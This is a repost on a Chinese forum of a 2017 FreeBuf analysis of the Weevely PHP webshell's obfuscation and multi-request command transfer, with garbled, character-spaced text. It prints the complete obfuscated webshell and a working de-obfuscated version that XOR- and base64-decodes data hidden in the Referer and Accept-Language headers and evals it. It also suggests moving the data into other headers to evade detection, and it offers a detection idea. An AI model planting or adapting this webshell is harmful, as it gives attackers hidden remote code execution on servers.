搜索

[11201] 2017-04-04_Weevely命令传输分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-04-04_Weevely命令传输分析 W e e v e l y 命 令 传 输 分 析 原 创   c o d i n g m 3   F r e e B u f   2 0 1 7 - 0 4 - 0 4 前 言 前 言 W e e v e l y 是 一 款 使 用 是 一 款 使 用 p y t h o n 编 写 的 编 写 的 w e b s h e l l 工 具 ， 集 工 具 ， 集 w e b s h e l l 生 成 和 连 接 于 一 身 ， 可 以 算 作 是 生 成 和 连 接 于 一 身 ， 可 以 算 作 是 l i n u x 下 的 一 款 菜 刀 替 代 工 具 （ 限 下 的 一 款 菜 刀 替 代 工 具 （ 限 于 于 p h p ） 。 ） 。 W e e v e l y 类 似 于 菜 刀 ， 一 个 厚 客 户 端 ， 与 一 个 轻 服 务 端 ， 由 客 户 端 生 成 要 执 行 的 代 码 ， 传 递 到 服 务 端 执 行 。 与 菜 类 似 于 菜 刀 ， 一 个 厚 客 户 端 ， 与 一 个 轻 服 务 端 ， 由 客 户 端 生 成 要 执 行 的 代 码 ， 传 递 到 服 务 端 执 行 。 与 菜 刀 不 同 的 是 刀 不 同 的 是 W e e v e l y 只 提 供 命 令 行 终 端 ， 同 时 自 己 生 成 服 务 端 文 件 。 文 件 的 混 淆 与 执 行 代 码 的 传 递 更 复 杂 于 菜 刀 。 下 面 将 只 提 供 命 令 行 终 端 ， 同 时 自 己 生 成 服 务 端 文 件 。 文 件 的 混 淆 与 执 行 代 码 的 传 递 更 复 杂 于 菜 刀 。 下 面 将 对 这 两 方 面 进 行 分 析 。 对 这 两 方 面 进 行 分 析 。 混 淆 与 解 码 混 淆 与 解 码 < ? p h p $ A = ' @ . l o w @ . @ . e r " @ . @ . @ . ; $ i = $ m [ 1 ] [ 0 @ . ] . $ m [ 1 ] [ 1 ] @ . ; $ h = $ s l ( $ s @ . s ( m d 5 ( @ . @ . $ i . $ k h ) , 0 , 3 ) ) ; $ f = @ . $ s l @ . ( $ s s ( m d @ . 5 ( $ i . $ k f ) , 0 @ . , ' ; $ j = ' @ . 3 ) ) ; $ p @ . = " " ; f o r ( $ @ . z = 1 ; $ z @ . < c o u n t ( $ m [ @ . @ . 1 ] ) ; @ . $ @ . z + + ) $ p @ . . = $ q [ $ m [ 2 ] [ $ z ] ] ; i f ( @ . s t r p o s @ . ( $ p , $ h @ . ) @ . = = = 0 ) { $ s [ $ i ' ; $ U = ' ( [ d ] ) ) ? @ . , ? / @ . " , @ . $ r a @ . , $ m ) ; i f ( $ @ . q & & $ m ) { @ . @ s @ . e s s i o n _ s t a r t ( @ . ) ; $ s = & $ @ . _ S E S S I @ . O N ; $ s s = @ . " s u b s t r @ . " ; $ s @ . l = " s t r t o ' ; $ Z = ' $ @ . k h @ . = " 2 1 2 3 " ; $ k f = " 2 @ . f 2 9 " @ . ; f u n c t i o n @ .   x ( $ t , $ k ) @ . { $ c = @ . @ . s t r l e n ( $ @ . @ . k ) ; $ l = s t @ . r l e n ( @ . $ t ) ; $ o = " " ; f o r ( $ @ . i = 0 ; $ i @ . ' ; $ p = ' @ . r @ . r = @ $ r [ " H T T @ . P _ R E F E R E @ . R " ] ; $ r a = @ $ r @ . [ " H T T P _ @ . @ . A C C E P T _ L A N G U A @ . G E " ] ; @ . i f @ . ( $ r r & & $ r a @ . @ . ) { $ u = p a r s e @ . _ u r l ( @ . @ . ' ; $ o = ' @ . ] @ . = " " ; $ @ . p = $ s @ . s ( $ @ . p , 3 ) ; } i @ . f @ . ( a r r a y @ . _ k e y _ e @ . @ . x i s t s ( $ i @ . , $ s ) ) { $ s [ $ i ] . = $ p ; $ e = s t r p o @ . s ( $ s [ $ i @ . ] @ . , $ f ) ; i f ( $ @ ' ; $ g = ' _ / " @ . , " @ . / - / " ) , a r r a y @ . ( " / @ . " , " + @ . " ) , $ s s @ . ( $ s @ . [ $ i ] , 0 , $ e ) ) ) , $ k ) ) ) @ . ; @ . $ o = o b _ @ . g @ . e t _ c o n t e n t s @ . ( ) ; o b @ . _ e n d @ . _ c l e a n ' ; $ V = ' ( ) ; @ . @ . $ d = b a s e 6 @ . 4 @ . _ e n c o d e ( x ( g z c o m p r @ . @ . e s @ . s ( $ o ) , $ k ) ) ; p r i n t ( " @ . < $ k > $ d < @ . / $ k > " @ . ) ; @ @ . s e s s i o n _ d @ . e s t @ . r o y ( ) ; } } } } ' ; $ n = ' @ . $ r r ) ; p a r @ . s @ . e _ s t r ( $ u [ " q u e r y " ] , @ . $ q ) ; $ q = a r r a y _ v a @ . l u e s ( $ @ . q ) ; @ . p r e g @ . _ m a t c h _ a l l @ . ( " / ( [ w @ . @ . ] ) [ w - @ . ] + ( ? : ; q = 0 @ . . ' ; $ q = ' < $ l ; ) { f o @ . r ( $ j = 0 ; ( @ . $ j < @ . $ c & & $ i @ . < $ l ) ; @ . @ . $ j + + , $ i + + @ . ) { $ o . = $ t { $ @ . i } ^ @ . $ k { $ j @ . } ; } } r @ . e t u r n   $ o ; } $ r = $ @ . _ @ . @ . S E R V E R ; $ ' ; $ X = s t r _ r e p l a c e ( ' U L ' , ' ' , ' c U L r e a U L t e _ U L f U L u n U L c t U L i o n ' ) ; $ u = ' . e ) @ . { $ k = $ k h . @ . $ k f ; o b @ . _ s @ . t a r t ( ) ; @ e v @ . a l ( @ g z u @ . n c o m p r e s @ . s ( @ x ( @ @ . b a s e @ . 6 4 _ d e c @ . o d e @ . ( p r e @ . g @ . _ r e p l a c e ( a r r a @ . y ( " / ' ; $ R = s t r _ r e p l a c e ( ' @ . ' , ' ' , $ Z . $ q . $ p . $ n . $ U . $ A . $ j . $ o . $ u . $ g . $ V ) ; $ c = $ X ( ' ' , $ R ) ; $ c ( ) ; ? > W e e v e l y 将 服 务 端 代 码 分 散 放 入 单 字 符 的 变 量 中 ， 同 时 夹 杂 着 大 量 无 用 字 符 （ @ .   ， 随 机 字 符 ） 以 绕 过 一 些 关 键 词 的 匹 配 。 将 分 散 的
代 码 按 顺 序 拼 接 ， 再 使 用 s t r _ r e p l a c e 去 掉 无 用 字 符 ， 最 后 由 c r e a t e _ f u n c t i o n 创 建 匿 名 函 数 ， 执 行 。 < ? p h p $ k h = " 2 1 2 3 " ;           / / M D 5 ( a d m i n )   >   2 1 2 3 2 f 2 9 7 a 5 7 a 5 a 7 4 3 8 9 4 a 0 e 4 a 8 0 1 f c 3 $ k f = " 2 f 2 9 " ; f u n c t i o n   x ( $ t , $ k ) {   $ c = s t r l e n ( $ k ) ;   $ l = s t r l e n ( $ t ) ;   $ o = " " ;   f o r ( $ i = 0 ; $ i < $ l ; )   {     f o r ( $ j = 0 ; ( $ j < $ c & & $ i < $ l ) ; $ j + + , $ i + + )     {       $ o . = $ t { $ i } ^ $ k { $ j } ;     }   }   r e t u r n   $ o ; } $ r = $ _ S E R V E R ; $ r r = @ $ r [ " H T T P _ R E F E R E R " ] ; $ r a = @ $ r [ " H T T P _ A C C E P T _ L A N G U A G E " ] ; i f ( $ r r & & $ r a ) {   $ u = p a r s e _ u r l ( $ r r ) ;   p a r s e _ s t r ( $ u [ " q u e r y " ] , $ q ) ;   $ q = a r r a y _ v a l u e s ( $ q ) ;
  p r e g _ m a t c h _ a l l ( " / ( [ w ] ) [ w - ] + ( ? : ; q = 0 . ( [ d ] ) ) ? , ? / " , $ r a , $ m ) ;   i f ( $ q & & $ m )   {     @ s e s s i o n _ s t a r t ( ) ;     $ s = & $ _ S E S S I O N ;     $ s s = " s u b s t r " ;     $ s l = " s t r t o l o w e r " ;     $ i = $ m [ 1 ] [ 0 ] . $ m [ 1 ] [ 1 ] ;     $ h = $ s l ( $ s s ( m d 5 ( $ i . $ k h ) , 0 , 3 ) ) ;     $ f = $ s l ( $ s s ( m d 5 ( $ i . $ k f ) , 0 , 3 ) ) ;     $ p = " " ;     f o r ( $ z = 1 ; $ z < c o u n t ( $ m [ 1 ] ) ; $ z + + )       $ p . = $ q [ $ m [ 2 ] [ $ z ] ] ;     i f ( s t r p o s ( $ p , $ h ) = = = 0 )     {       $ s [ $ i ] = " " ;       $ p = $ s s ( $ p , 3 ) ;     }     i f ( a r r a y _ k e y _ e x i s t s ( $ i , $ s ) )     {       $ s [ $ i ] . = $ p ;       $ e = s t r p o s ( $ s [ $ i ] , $ f ) ;       i f ( $ e )       {         $ k = $ k h . $ k f ;         o b _ s t a r t ( ) ;
        @ e v a l ( @ g z u n c o m p r e s s ( @ x ( @ b a s e 6 4 _ d e c o d e ( p r e g _ r e p l a c e ( a r r a y ( " / _ / " , " / - / " ) , a r r a y ( " / " , " + " ) , $ s s ( $ s [ $ i ] , 0 , $ e ) ) ) , $ k ) ) ) ;         $ o = o b _ g e t _ c o n t e n t s ( ) ;         o b _ e n d _ c l e a n ( ) ;         $ d = b a s e 6 4 _ e n c o d e ( x ( g z c o m p r e s s ( $ o ) , $ k ) ) ;         p r i n t ( " < $ k > $ d < / $ k > " ) ;         @ s e s s i o n _ d e s t r o y ( ) ;       }     }   } } ? > 代 码 传 递 代 码 传 递 不 同 于 菜 刀 ， W e e v e l y 单 次 的 命 令 会 发 送 多 个 H T T P 请 求 ， 将 要 执 行 的 代 码 进 行 分 散 传 递 。 下 面 将 结 合 W e e v e l y   A g e n t 源 码 与 数 据 包 报 文 进 行 代 码 传 递 分 析 。 W e e v e l y 将 A g e n t 的 密 码 进 行 M D 5 加 密 ， 取 m d 5 值 的 前 4 位 存 储 到 变 量 $ k h 中 ， 取 前 4 至 8 位 存 储 到 变 量 $ k f 中 ， 用 于 后 续 的 异 或 运 算 及 标 识 字 符 生 成 。 W e e v e l y 主 要 通 过 H T T P 请 求 报 文 的 A c c e p t - L a n g u a g e ， R e f e r e r 字 段 分 散 传 递 加 密 后 的 执 行 代 码 ， 存 储 到 P H P 全 局 变 量 $ _ S E S S I O N 中 。 传 输 完 成 后 ， 取 出 存 储 的 字 符 串 进 行 一 些 字 符 替 换 ， 再 进 行 b a s e 6 4 解 码 ， 再 与 A g e n t 密 码 的 M D 5 值 的 前 几 位 进 行 异 或 运 算 ， 最 后 进 行 解 压 带 入 到   e v a l 中 执 行 。 返 回 执 行 结 果 ， 最 后 销 毁 当 前 会 话 ， 等 待 下 一 次 的 代 码 传 递 。 使 用 p a r s e _ u r l ， a r r a y _ v a l u e s 将 R e f e r e r 字 段 中 U R L 的 参 数 值 作 为 数 组 ， 正 则 匹 配 （ / ( [ w ] ) [ w - ] + ( ? : ; q = 0 . ( [ d ] ) ) ? , ? / ） A c c e p t - L a n g u a g e 字 段 ， 取 出 y n 作 为 $ _ S E S S I O N   n a m e ， q = 0 . 4 的 4 保 存 到 新 数 组 中 。 由 该 数 组 的 值 控 制 ， 取 出 U R L 参 数 数 组 的 值 （ R e f e r e r [ 4 ]   >   e d 9 S q 0 _ - X N s s h k i M f K c R i w J v e c E u k 0 g D R w ） 存 储 到 $ p 。
$ _ S E S S I O N [ ‘ y n ’ ’ ]   >   S q 0 _ - X N s s h k i M f K c R i w J v e c E u k 0 g D R w 取 $ _ S E S S I O N   n a m e （ y n ） 与 A g e n t 密 码 m d 5 值 的 前 4 位 字 符 （ $ k h ） 拼 接 做 m d 5 运 算 ， 取 前 3 位 作 为 头 部 标 识 符 （ e d 9 ） ,   $ _ S E S S I O N   n a m e （ y n ） 与 A g e n t 密 码 m d 5 值 的 前 4 至 8 位 字 符 （   $ k f ） 拼 接 做 m d 5 运 算 ， 取 前 3 位 作 为 尾 部 标 识 符 （ d 2 1 ） 。 判 断 $ p 是 否 含 有 头 部 标 识 符 ， 去 掉 头 部 标 识 符 存 储 到 n a m e   为 y n 的 $ _ S E S S I O N 中 。 若 没 有 出 现 尾 部 标 识 符 ， 返 回 此 次 会 话 S I D ， 继 续 等 待 下 一 次 数 据 传 递 。 下 次 发 送 H T T P 请 求 将 带 上 上 次 返 回 P H P S E S S I D ， 进 行 同 样 的 数 据 处 理 。
$ _ S E S S I O N [ ‘ y n ’ ’ ]   >   S q 0 _ - X N s s h k i M f K c R i w J v e c E u k 0 g D R w Q q _ u c G s 9 Y n f q u 5 w q h c K M 4 p U Y 0 V 3 m 3 9 3 l p J P 8 p h 3 W T F C b z g S r l L - 8 Q J L Y Y Y E X $ _ S E S S I O N [ ‘ y n ’ ’ ]   >   S q 0 _ - X N s s h k i M f K c R i w J v e c E u k 0 g D R w Q q _ u c G s 9 Y n f q u 5 w q h c K M 4 p U Y 0 V 3 m 3 9 3 l p J P 8 p h 3 W T F C b z g S r l L - 8 Q J L Y Y Y E X T 9 G E K z A n R E L e B X O D I i I c s K R s v e w d 2 1 若 出 现 结 尾 标 识 符 ， 去 掉 结 尾 标 识 符 及 后 面 字 符 ， 将 _ 替 换 为 / ， - 替 换 为 + 变 为 b a s e 6 4 编 码 格 式 ， 进 行 b a s e 6 4 编 码 解 码 ， 再 进 行 异 或 运 算 ， 最 后 解 压 带 入   e v a l 中 执 行 ， 返 回 执 行 结 果 ， 销 毁 当 前 会 话 。
总 结 总 结 这 种 多 连 接 ， 分 散 传 输 的 方 式 能 有 效 避 开 安 全 防 护 设 备 的 检 测 。 目 前 大 部 分 的 安 全 设 备 基 本 上 都 是 基 于 单 个 连 接 去 识 别 检 测 ， 在 上 下 文 联 系 能 力 欠 缺 。 针 对 W e e v e l y 默 认 代 码 ， 可 对 H T T P   A c c e p t - L a n g u a g e 字 段 进 行 检 测 ， 识 别 W e e v e l y 连 接 。 但 很 容 易 通 过 修 改 源 码 进 行 绕 过 ， 将 控 制 数 组 放 置 到 其 他 H T T P 字 段 中 。 例 如 ， U s e r - A g e n t 字 段 ： 系 统 版 本 、 浏 览 器 版 本 ； C o o k i e 字 段 模 拟 正 常 的 访 问 数 据 。 G i t h u b ： h t t p s : / / g i t h u b . c o m / e p i n n a / w e e v e l y 3 * 本 文 原 创 作 者 ： c o d i n g m 3 ， 属 F r e e b u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理